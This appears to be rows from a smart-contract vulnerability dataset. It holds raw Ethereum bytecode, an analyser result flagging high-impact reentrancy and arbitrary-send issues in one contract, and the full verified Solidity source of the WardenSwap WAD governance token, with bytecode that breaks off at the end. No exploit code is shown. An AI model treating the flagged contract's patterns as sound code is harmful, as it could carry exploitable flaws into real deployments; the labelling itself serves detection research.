e5576129e46127ae565b5b60006129f3848285016129ba565b91505092915050565b612a05816127d8565b82525050565b6000602082019050612a2060008301846129fc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a6382612738565b810181811067ffffffffffffffff82111715612a8257612a81612a2b565b5b80604052505050565b6000612a956127a4565b9050612aa18282612a5a565b919050565b600067ffffffffffffffff821115612ac157612ac0612a2b565b5b602082029050602081019050919050565b600080fd5b6000612aea612ae584612aa6565b612a8b565b90508083825260208201905060208402830185811115612b0d57612b0c612ad2565b5b835b81811015612b365780612b228882612801565b845260208401935050602081019050612b0f565b5050509392505050565b600082601f830112612b5557612b54612a26565b5b8135612b65848260208601612ad7565b91505092915050565b600060208284031215612b8457612b836127ae565b5b600082013567ffffffffffffffff811115612ba257612ba16127b3565b5b612bae84828501612b40565b91505092915050565b600060208284031215612bcd57612bcc6127ae565b5b6000612bdb84828501612837565b91505092915050565b60008060408385031215612bfb57612bfa6127ae565b5b6000612c0985828601612801565b9250506020612c1a85828601612801565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5a6020836126f4565b9150612c6582612c24565b602082019050919050565b60006020820190508181036000830152612c8981612c4d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cf982612816565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2c57612d2b612cbf565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d6d6017836126f4565b9150612d7882612d37565b602082019050919050565b60006020820190508181036000830152612d9c81612d60565b9050919050565b600081519050612db2816127ea565b92915050565b600060208284031215612dce57612dcd6127ae565b5b6000612ddc84828501612da3565b91505092915050565b6000604082019050612dfa60008301856129fc565b612e0760208301846129fc565b9392505050565b6000819050919050565b6000819050919050565b6000612e3d612e38612e3384612e0e565b612e18565b612816565b9050919050565b612e4d81612e22565b82525050565b600060c082019050612e6860008301896129fc565b612e7560208301886128c2565b612e826040830187612e44565b612e8f6060830186612e44565b612e9c60808301856129fc565b612ea960a08301846128c2565b979650505050505050565b600081519050612ec381612820565b92915050565b600080600060608486031215612ee257612ee16127ae565b5b6000612ef086828701612eb4565b9350506020612f0186828701612eb4565b9250506040612f1286828701612eb4565b9150509250925092565b6000604082019050612f3160008301856129fc565b612f3e60208301846128c2565b9392505050565b600081519050612f54816129a3565b92915050565b600060208284031215612f7057612f6f6127ae565b5b6000612f7e84828501612f45565b91505092915050565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b6000612fbd601d836126f4565b9150612fc882612f87565b602082019050919050565b60006020820190508181036000830152612fec81612fb0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061304f6024836126f4565b915061305a82612ff3565b604082019050919050565b6000602082019050818103600083015261307e81613042565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130e16022836126f4565b91506130ec82613085565b604082019050919050565b60006020820190508181036000830152613110816130d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131736025836126f4565b915061317e82613117565b604082019050919050565b600060208201905081810360008301526131a281613166565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132056023836126f4565b9150613210826131a9565b604082019050919050565b60006020820190508181036000830152613234816131f8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132976029836126f4565b91506132a28261323b565b604082019050919050565b600060208201905081810360008301526132c68161328a565b9050919050565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b60006133036011836126f4565b915061330e826132cd565b602082019050919050565b60006020820190508181036000830152613332816132f6565b9050919050565b600061334482612816565b915061334f83612816565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561338457613383612cbf565b5b828201905092915050565b600061339a82612816565b91506133a583612816565b9250828210156133b8576133b7612cbf565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061341f602a836126f4565b915061342a826133c3565b604082019050919050565b6000602082019050818103600083015261344e81613412565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61348a816127d8565b82525050565b600061349c8383613481565b60208301905092915050565b6000602082019050919050565b60006134c082613455565b6134ca8185613460565b93506134d583613471565b8060005b838110156135065781516134ed8882613490565b97506134f8836134a8565b9250506001810190506134d9565b5085935050505092915050565b600060a08201905061352860008301886128c2565b6135356020830187612e44565b818103604083015261354781866134b5565b905061355660608301856129fc565b61356360808301846128c2565b9695505050505050565b600061357882612816565b915061358383612816565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135bc576135bb612cbf565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061360182612816565b915061360c83612816565b92508261361c5761361b6135c7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136836021836126f4565b915061368e82613627565b604082019050919050565b600060208201905081810360008301526136b281613676565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136ef601b836126f4565b91506136fa826136b9565b602082019050919050565b6000602082019050818103600083015261371e816136e2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b6a63ffe4f50b7163c9187e9a1027e97a86b9722ae0aff0f55d3783df4ebde964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,859 |
0x0b6f3c17e1626a7cbfa4302ce4e3c45522d23a83 | /**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
// SPDX-License-Identifier: MIT
// ((/*, ,*((/,.
// &&@@&&%#/*. .*(#&&@@@@%.
// &&@@@@@@@&%(. ,#%&@@@@@@@@%.
// &&@@@@@@@@@&&(, ,#&@@@@@@@@@@@%.
// &&@@@@@@@@@@@&&/. .(&&@@@@@@@@@@@@%.
// %&@@@@@@@@@@@@@&(, *#&@@@@@@@@@@@@@@%.
// #&@@@@@@@@@@@@@@&#* .*#@@@@@@@@@@@@@@@&#.
// #&@@@@@@@@@@@@@@@@#. ,%&@@@@@@@@@@@@@@@&#.
// #&@@@@@@@@@@@@@@@@%(, ,(&@@@@@@@@@@@@@@@@&#.
// #&@@@@@@@@@@@@@@@@&&/ .(%&@@@@@@@@@@@@@@@@&#.
// #%@@@@@@@@@@@@@@@@@@(. ,(/,. .#&@@@@@@@@@@@@@@@@@&#.
// (%@@@@@@@@@@@@@@@@@@#*. ./%&&&/. .*%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@#*. *#&@@@@&%*. .*%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@#/. ./#@@@@@@@@%(. ./%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@#/. ./&@@@@@@@@@@&(* ,/%@@@@@@@@@@@@@@@@@@%(.
// (%@@@@@@@@@@@@@@@@@@%/. ,#&@@@@@@@@@@@@&#,. ,/%@@@@@@@@@@@@@@@@@@%(.
// /%@@@@@@@@@@@@@@@@@@#/. *(&@@@@@@@@@@@@@@&&* ./%@@@@@@@@@@@@@@@@@&%(.
// /%@@@@@@@@@@@@@@@@@@#/. .(&@@@@@@@@@@@@@@@@@#*. ,/%@@@@@@@@@@@@@@@@@&#/.
// ,#@@@@@@@@@@@@@@@@@@#/. ./%@@@@@@@@@@@@@@@@@@&#, ,/%@@@@@@@@@@@@@@@@@&(,
// /%&@@@@@@@@@@@@@@@@#/. *#&@@@@@@@@@@@@@@@@@@@&* ,/%@@@@@@@@@@@@@@@@&%*
// .*#&@@@@@@@@@@@@@@@#/. /&&@@@@@@@@@@@@@@@@@@@&/. ,/%@@@@@@@@@@@@@@@@#*.
// ,(&@@@@@@@@@@@@@@#/. /@@@@@@@@@@@@@@@@@@@@@&(, ,/%@@@@@@@@@@@@@@%(,
// .*(&&@@@@@@@@@@@#/. /&&@@@@@@@@@@@@@@@@@@@&/, ,/%@@@@@@@@@@@&%/,
// ./%&@@@@@@@@@#/. *#&@@@@@@@@@@@@@@@@@@@%* ,/%@@@@@@@@@&%*
// ,/#%&&@@@@#/. ,#&@@@@@@@@@@@@@@@@@#/. ,/%@@@@&&%(/,
// ./#&@@%/. ,/&@@@@@@@@@@@@@@%(, ,/%@@%#*.
// .,,, ,/%&@@@@@@@@&%(* .,,,.
// ,/%&@@@%(*.
// .,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,**((/*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
//
//
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Warden {
/// @notice EIP-20 token name for this token
string public constant name = "WardenSwap";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "WAD";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 200_000_000e18; // 200 million Wad
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Warden token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Wad::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Wad::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Wad::permit: invalid signature");
require(signatory == owner, "Wad::permit: unauthorized");
require(now <= deadline, "Wad::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Wad::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Wad::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Wad::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Wad::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Wad::delegateBySig: invalid nonce");
require(now <= expiry, "Wad::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Wad::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Wad::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Wad::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Wad::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Wad::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Wad::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Wad::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Wad::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063b4b5ea571161007c578063b4b5ea571461027d578063c3cda52014610290578063d505accf146102a3578063dd62ed3e146102b6578063e7a324dc146102c9578063f1127ed8146102d157610137565b806370a082311461021c578063782d6fe11461022f5780637ecebe001461024f57806395d89b4114610262578063a9059cbb1461026a57610137565b806330adf81f116100ff57806330adf81f146101aa578063313ce567146101b2578063587cde1e146101c75780635c19a95c146101e75780636fcfff45146101fc57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017a57806320606b701461018f57806323b872dd14610197575b600080fd5b6101446102f2565b6040516101519190611c8b565b60405180910390f35b61016d6101683660046115ce565b610318565b6040516101519190611b87565b6101826103d5565b6040516101519190611b95565b6101826103e4565b61016d6101a53660046114e5565b6103fb565b610182610540565b6101ba61054c565b6040516101519190611d55565b6101da6101d5366004611485565b610551565b6040516101519190611b79565b6101fa6101f5366004611485565b61056c565b005b61020f61020a366004611485565b610579565b6040516101519190611d2c565b61018261022a366004611485565b610591565b61024261023d3660046115ce565b6105b5565b6040516101519190611d71565b61018261025d366004611485565b6107cc565b6101446107de565b61016d6102783660046115ce565b6107fd565b61024261028b366004611485565b610839565b6101fa61029e3660046115fe565b6108a9565b6101fa6102b1366004611532565b610a95565b6101826102c43660046114ab565b610d82565b610182610db4565b6102e46102df366004611685565b610dc0565b604051610151929190611d3a565b6040518060400160405280600a815260200169057617264656e537761760b41b81525081565b60008060001983141561032e5750600019610353565b61035083604051806060016040528060248152602001611f2960249139610df5565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103c1908590611d63565b60405180910390a360019150505b92915050565b6aa56fa5b99019a5c800000081565b6040516103f090611b63565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602480845291936001600160601b039091169285926104519288929190611f2990830139610df5565b9050866001600160a01b0316836001600160a01b03161415801561047e57506001600160601b0382811614155b156105265760006104a883836040518060600160405280603c8152602001611f72603c9139610e24565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061051c908590611d63565b60405180910390a3505b610531878783610e63565b600193505050505b9392505050565b6040516103f090611b58565b601281565b6002602052600090815260409020546001600160a01b031681565b610576338261100e565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105df5760405162461bcd60e51b81526004016105d690611d1c565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff168061060d5760009150506103cf565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610689576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103cf565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156106c45760009150506103cf565b600060001982015b8163ffffffff168163ffffffff16111561078757600282820363ffffffff160481036106f6611442565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610762576020015194506103cf9350505050565b805163ffffffff1687111561077957819350610780565b6001820392505b50506106cc565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b6040518060400160405280600381526020016215d05160ea1b81525081565b60008061082283604051806060016040528060258152602001611f4d60259139610df5565b905061082f338583610e63565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610864576000610539565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108b790611b63565b60408051918290038220828201909152600a825269057617264656e537761760b41b6020909201919091527fb2eb5e9dba4bf56c73c4b13c64a8a30b02d0080627f4972acdd64480b26f23e061090b611098565b3060405160200161091f9493929190611c3b565b604051602081830303815290604052805190602001209050600060405161094590611b6e565b604051908190038120610960918a908a908a90602001611bfd565b6040516020818303038152906040528051906020012090506000828260405160200161098d929190611b27565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109ca9493929190611c70565b6020604051602081039080840390855afa1580156109ec573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a1f5760405162461bcd60e51b81526004016105d690611cdc565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a5e5760405162461bcd60e51b81526004016105d690611d0c565b87421115610a7e5760405162461bcd60e51b81526004016105d690611c9c565b610a88818b61100e565b505050505b505050505050565b6000600019861415610aaa5750600019610acf565b610acc86604051806060016040528060238152602001611ea460239139610df5565b90505b6000604051610add90611b63565b60408051918290038220828201909152600a825269057617264656e537761760b41b6020909201919091527fb2eb5e9dba4bf56c73c4b13c64a8a30b02d0080627f4972acdd64480b26f23e0610b31611098565b30604051602001610b459493929190611c3b565b6040516020818303038152906040528051906020012090506000604051610b6b90611b58565b604080519182900382206001600160a01b038d16600090815260056020908152929020805460018101909155610bad9391928e928e928e9290918e9101611ba3565b60405160208183030381529060405280519060200120905060008282604051602001610bda929190611b27565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610c179493929190611c70565b6020604051602081039080840390855afa158015610c39573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610c6c5760405162461bcd60e51b81526004016105d690611cac565b8b6001600160a01b0316816001600160a01b031614610c9d5760405162461bcd60e51b81526004016105d690611cfc565b88421115610cbd5760405162461bcd60e51b81526004016105d690611cec565b846000808e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610d6c9190611d63565b60405180910390a3505050505050505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103f090611b6e565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610e1c5760405162461bcd60e51b81526004016105d69190611c8b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610e5b5760405162461bcd60e51b81526004016105d69190611c8b565b505050900390565b6001600160a01b038316610e895760405162461bcd60e51b81526004016105d690611ccc565b6001600160a01b038216610eaf5760405162461bcd60e51b81526004016105d690611cbc565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526035808452610efa936001600160601b039092169285929190611fae90830139610e24565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352602f808452610f629491909116928592909190611ec79083013961109c565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fcf908590611d63565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054611009929182169116836110d8565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46110928284836110d8565b50505050565b4690565b6000838301826001600160601b0380871690831610156110cf5760405162461bcd60e51b81526004016105d69190611c8b565b50949350505050565b816001600160a01b0316836001600160a01b03161415801561110357506000816001600160601b0316115b15611009576001600160a01b038316156111bb576001600160a01b03831660009081526004602052604081205463ffffffff169081611143576000611182565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006111a98285604051806060016040528060278152602001611e7d60279139610e24565b90506111b786848484611266565b5050505b6001600160a01b03821615611009576001600160a01b03821660009081526004602052604081205463ffffffff1690816111f6576000611235565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061125c8285604051806060016040528060268152602001611e576026913961109c565b9050610a8d858484845b600061128a43604051806060016040528060338152602001611ef66033913961141b565b905060008463ffffffff161180156112d357506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611332576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556113d1565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161140c929190611d7f565b60405180910390a25050505050565b600081600160201b8410610e1c5760405162461bcd60e51b81526004016105d69190611c8b565b604080518082019091526000808252602082015290565b80356103cf81611e27565b80356103cf81611e3b565b80356103cf81611e44565b80356103cf81611e4d565b60006020828403121561149757600080fd5b60006114a38484611459565b949350505050565b600080604083850312156114be57600080fd5b60006114ca8585611459565b92505060206114db85828601611459565b9150509250929050565b6000806000606084860312156114fa57600080fd5b60006115068686611459565b935050602061151786828701611459565b925050604061152886828701611464565b9150509250925092565b600080600080600080600060e0888a03121561154d57600080fd5b60006115598a8a611459565b975050602061156a8a828b01611459565b965050604061157b8a828b01611464565b955050606061158c8a828b01611464565b945050608061159d8a828b0161147a565b93505060a06115ae8a828b01611464565b92505060c06115bf8a828b01611464565b91505092959891949750929550565b600080604083850312156115e157600080fd5b60006115ed8585611459565b92505060206114db85828601611464565b60008060008060008060c0878903121561161757600080fd5b60006116238989611459565b965050602061163489828a01611464565b955050604061164589828a01611464565b945050606061165689828a0161147a565b935050608061166789828a01611464565b92505060a061167889828a01611464565b9150509295509295509295565b6000806040838503121561169857600080fd5b60006116a48585611459565b92505060206114db8582860161146f565b6116be81611dac565b82525050565b6116be81611db7565b6116be81611dbc565b6116be6116e282611dbc565b611dbc565b60006116f282611d9a565b6116fc8185611d9e565b935061170c818560208601611df1565b61171581611e1d565b9093019392505050565b600061172c60258